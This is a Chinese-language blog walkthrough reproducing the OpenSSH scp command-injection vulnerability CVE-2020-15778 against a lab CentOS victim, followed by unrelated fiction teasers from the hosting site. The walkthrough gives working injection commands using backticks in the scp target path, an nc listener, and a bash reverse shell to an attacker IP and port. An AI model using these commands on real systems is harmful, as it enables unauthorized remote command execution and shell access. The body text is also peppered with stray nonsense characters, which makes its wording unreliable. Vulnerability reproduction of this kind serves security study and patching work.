CVE-2020-15778漏洞復(fù)現(xiàn)

OpenSSH 命令注入漏洞(CVE-2020-15778)漏洞復(fù)現(xiàn)

詳細(xì)描述

OpenSSH(OpenBSD Secure Shell)是OpenBSD計(jì)劃組的一套用于安全訪問遠(yuǎn)程計(jì)算機(jī)的連接工具窗声。該工具是SSH協(xié)議的開源實(shí)現(xiàn),支持對所有的傳輸進(jìn)行加密坐昙,可有效阻止竊聽、連接劫持以及其他網(wǎng)絡(luò)級的攻擊禀崖。
OpenSSH 8.3p1及之前版本中的scp的scp.c文件存在命令注入漏洞徒扶。該漏洞源于外部輸入數(shù)據(jù)構(gòu)造可執(zhí)行命令過程中壁拉,網(wǎng)絡(luò)系統(tǒng)或產(chǎn)品未正確過濾其中的特殊元素。攻擊者可利用該漏洞執(zhí)行非法命令汤功。

影響產(chǎn)品

產(chǎn)品:Openssh
影響的組件:SCP
漏洞版本:<= openssh-8.3p1

漏洞原理

使用scp復(fù)制文件到遠(yuǎn)程服務(wù)器時(shí)物邑,在scp命令后面跟上文件的路徑,具體格式如下:

scp Filename user@host:directory/Filename

在上述過程中,scp會使用”-t“參數(shù)來獲取存儲傳入文件的路徑拂封,如下:

scp -t directory/Filename
image.png

問題就出在這個地方茬射,也就是"scp.c"文件的991行,如圖冒签。這個地方未對傳入的文件路徑進(jìn)行檢測防護(hù)在抛。攻擊者可以使用反引號包裹payload然后加上文件名執(zhí)行scp命令,這時(shí)萧恕,payload將會發(fā)送到遠(yuǎn)程服務(wù)器并執(zhí)行刚梭。

利用環(huán)境

描述:要實(shí)現(xiàn)該漏洞必須知道ssh用戶密碼,但是一般來說ssh是阻止連接的票唆。這個時(shí)候我們就可以利用這個漏洞進(jìn)行連接朴读。
攻擊機(jī):Kali-Linux-2020.3
受害機(jī):CentOS-6.8

漏洞復(fù)現(xiàn)

1、在攻擊機(jī)創(chuàng)建一個拷貝用的測試文件(為空即可)

touch test.txt
ls
image.png

2走趋、測試在攻擊機(jī)上scp到受害機(jī)

#使用scp命令將test.txt傳送至受害機(jī)的tmp文件夾下
scp test.txt root@10.10.xx.xx:/tmp/test.txt
#之后需要輸入受害機(jī)的密碼衅金,輸入完成后,文件即傳送過去了
image.png

3簿煌、查看受害機(jī)

#查看受害機(jī)/tmp目錄氮唯,新增了test.txt文件
ls
image.png

注:上述是,測試scp命令是否可以正常使用
4姨伟、開始命令注入攻擊

#在攻擊機(jī)上通過特殊符號 ` 進(jìn)行遠(yuǎn)程命令注入攻擊
scp test.txt root@10.xx.xx.xx:'`touch /tmp/1.sh`/tmp/test.txt'
image.png

5惩琉、查看受害機(jī)

#查看受害機(jī)/tmp目錄
ls
image.png

注:通過 `` 符號內(nèi)實(shí)現(xiàn)任意遠(yuǎn)程命令執(zhí)行

5、攻擊機(jī)監(jiān)聽端口

#新建一個攻擊機(jī)窗口進(jìn)行監(jiān)聽端口夺荒,如8452
nc -lvp 8452
image.png

6瞒渠、反彈shell命令注入攻擊


番外:

命令格式:bash -i >&/dev/tcp/10.10.10.10/8452 0>&1
命令 解釋
bash -i 產(chǎn)生一個交互式bash
>& /dev/tcp/ip/port 建立TCP連接,并將標(biāo)準(zhǔn)輸出和錯誤重定向到TCP連接
0>&1 從TCP連接獲取輸入

言歸正傳:

#攻擊機(jī)原窗口進(jìn)行反彈shell命令注入攻擊
scp test.txt root@受害機(jī)ip:'`bash -i >&/dev/tcp/攻擊機(jī)ip/8452 0>&1`/tmp/test.txt'
image.png

7技扼、查看新建的攻擊機(jī)窗口

#執(zhí)行成功伍玖,成功回顯,如下圖
image.png

修復(fù)建議

目前廠商暫未發(fā)布修復(fù)措施解決此安全問題剿吻,等待官方補(bǔ)丁https://www.openssh.com/
加強(qiáng)ssh密碼或密鑰的保護(hù)私沮,周期性更換密碼或密鑰
使用rsync代替scp

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
禁止轉(zhuǎn)載,如需轉(zhuǎn)載請通過簡信或評論聯(lián)系作者和橙。
  • 序言:七十年代末,一起剝皮案震驚了整個濱河市造垛,隨后出現(xiàn)的幾起案子魔招,更是在濱河造成了極大的恐慌,老刑警劉巖五辽,帶你破解...
    沈念sama閱讀 206,378評論 6 481
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件办斑,死亡現(xiàn)場離奇詭異,居然都是意外死亡,警方通過查閱死者的電腦和手機(jī)乡翅,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 88,356評論 2 382
  • 文/潘曉璐 我一進(jìn)店門鳞疲,熙熙樓的掌柜王于貴愁眉苦臉地迎上來,“玉大人蠕蚜,你說我怎么就攤上這事尚洽。” “怎么了靶累?”我有些...
    開封第一講書人閱讀 152,702評論 0 342
  • 文/不壞的土叔 我叫張陵腺毫,是天一觀的道長。 經(jīng)常有香客問我挣柬,道長潮酒,這世上最難降的妖魔是什么? 我笑而不...
    開封第一講書人閱讀 55,259評論 1 279
  • 正文 為了忘掉前任邪蛔,我火速辦了婚禮急黎,結(jié)果婚禮上,老公的妹妹穿的比我還像新娘侧到。我一直安慰自己勃教,他們只是感情好,可當(dāng)我...
    茶點(diǎn)故事閱讀 64,263評論 5 371
  • 文/花漫 我一把揭開白布荣回。 她就那樣靜靜地躺著,像睡著了一般戈咳。 火紅的嫁衣襯著肌膚如雪。 梳的紋絲不亂的頭發(fā)上著蛙,一...
    開封第一講書人閱讀 49,036評論 1 285
  • 那天,我揣著相機(jī)與錄音踏堡,去河邊找鬼猎唁。 笑死顷蟆,一個胖子當(dāng)著我的面吹牛诫隅,可吹牛的內(nèi)容都是我干的。 我是一名探鬼主播帐偎,決...
    沈念sama閱讀 38,349評論 3 400
  • 文/蒼蘭香墨 我猛地睜開眼逐纬,長吁一口氣:“原來是場噩夢啊……” “哼!你這毒婦竟也來了削樊?” 一聲冷哼從身側(cè)響起豁生,我...
    開封第一講書人閱讀 36,979評論 0 259
  • 序言:老撾萬榮一對情侶失蹤兔毒,失蹤者是張志新(化名)和其女友劉穎,沒想到半個月后甸箱,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體育叁,經(jīng)...
    沈念sama閱讀 43,469評論 1 300
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 35,938評論 2 323
  • 正文 我和宋清朗相戀三年芍殖,在試婚紗的時(shí)候發(fā)現(xiàn)自己被綠了豪嗽。 大學(xué)時(shí)的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片。...
    茶點(diǎn)故事閱讀 38,059評論 1 333
  • 序言:一個原本活蹦亂跳的男人離奇死亡围小,死狀恐怖昵骤,靈堂內(nèi)的尸體忽然破棺而出,到底是詐尸還是另有隱情肯适,我是刑警寧澤变秦,帶...
    沈念sama閱讀 33,703評論 4 323
  • 正文 年R本政府宣布,位于F島的核電站框舔,受9級特大地震影響蹦玫,放射性物質(zhì)發(fā)生泄漏。R本人自食惡果不足惜刘绣,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 39,257評論 3 307
  • 文/蒙蒙 一樱溉、第九天 我趴在偏房一處隱蔽的房頂上張望。 院中可真熱鬧纬凤,春花似錦福贞、人聲如沸。這莊子的主人今日做“春日...
    開封第一講書人閱讀 30,262評論 0 19
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽。三九已至恋技,卻和暖如春拇舀,著一層夾襖步出監(jiān)牢的瞬間,已是汗流浹背蜻底。 一陣腳步聲響...
    開封第一講書人閱讀 31,485評論 1 262
  • 我被黑心中介騙來泰國打工骄崩, 沒想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留,地道東北人薄辅。 一個月前我還...
    沈念sama閱讀 45,501評論 2 354
  • 正文 我出身青樓要拂,卻偏偏與公主長得像,于是被迫代替她去往敵國和親站楚。 傳聞我的和親對象是個殘疾皇子宇弛,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 42,792評論 2 345